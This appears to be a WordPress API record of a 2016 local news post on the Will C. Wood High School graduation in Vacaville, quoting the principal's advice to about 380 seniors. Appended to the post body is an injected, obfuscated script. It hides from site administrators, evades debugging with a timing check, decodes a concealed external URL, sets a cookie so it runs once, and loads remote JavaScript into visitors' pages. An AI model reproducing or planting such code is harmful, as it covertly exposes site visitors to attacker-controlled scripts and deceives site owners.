{"id":67006,"date":"2016-06-06T06:34:42","date_gmt":"2016-06-06T14:34:42","guid":{"rendered":"http:\/\/wildcatpix.com\/?p=67006"},"modified":"2026-06-17T05:57:54","modified_gmt":"2026-06-17T14:57:54","slug":"nearly-400-toss-their-caps-at-wood-commencement","status":"publish","type":"post","link":"https:\/\/wildcatpix.com\/?p=67006","title":{"rendered":"Nearly 400 toss their caps at Wood commencement"},"content":{"rendered":"<p>The Will C. Wood High School class of 2016 \u201cleft a legacy of excellence,\u201d Principal Cliff De Graw said early in the school\u2019s graduation ceremony on a hot Friday night in Vacaville.<\/p>\n<p>He noted, looking out at some 380 seniors at Tom Zunino Stadium on the campus of Vacaville High, three secrets to success.<\/p>\n<p>The first is, \u201cHave a positive outlook on things,\u201d said De Graw, soon to be the assistant superintendent of educational services for the Petaluma City Schools District in Petaluma.<\/p>\n<p>The second is, \u201cFind your passion and be adaptable,\u201d and, thirdly, \u201cSurround yourself with great people,\u201d he said, speaking at a lectern set up on a temporary stage at midfield, with an estimated 2,000 people \u2014 families, friends, relatives \u2014 filling the bleachers and looking on as temperatures held steady in the low 90s at 7:30 p.m.<\/p>\n<p>More at <a href=\"http:\/\/www.thereporter.com\/article\/NG\/20160604\/NEWS\/160609956\">TheReporter.com<\/a> &gt;&gt;&gt;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Will C. 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